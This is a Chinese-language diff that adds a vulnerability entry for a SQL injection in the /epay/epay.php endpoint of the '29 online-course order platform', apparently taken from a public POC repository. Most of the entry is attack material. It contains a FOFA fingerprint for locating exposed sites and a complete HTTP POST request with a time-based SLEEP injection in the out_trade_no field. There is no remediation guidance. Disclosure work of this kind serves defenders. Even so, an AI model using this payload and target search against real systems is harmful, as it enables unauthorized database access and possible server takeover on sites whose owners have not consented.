6.11更新漏洞

29网课交单平台epay.php存在SQL注入漏洞.md

@@ -0,0 +1,26 @@
+## 29网课交单平台epay.php存在SQL注入漏洞
+
+29网课交单平台 /epay/epay.php接口处存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息，进一步利用可获取服务器权限，导致网站处于极度不安全状态。
+
+## fofa
+
+```
+body="你在看什么呢？我写的代码好看吗"
+```
+
+## poc
+
+```
+POST /epay/epay.php HTTP/1.1
+Host: your-ip
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
+Content-Type: application/x-www-form-urlencoded
+Connection: close
+ 
+out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC
+```
+
+![image-20240610144912193](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406101449253.png)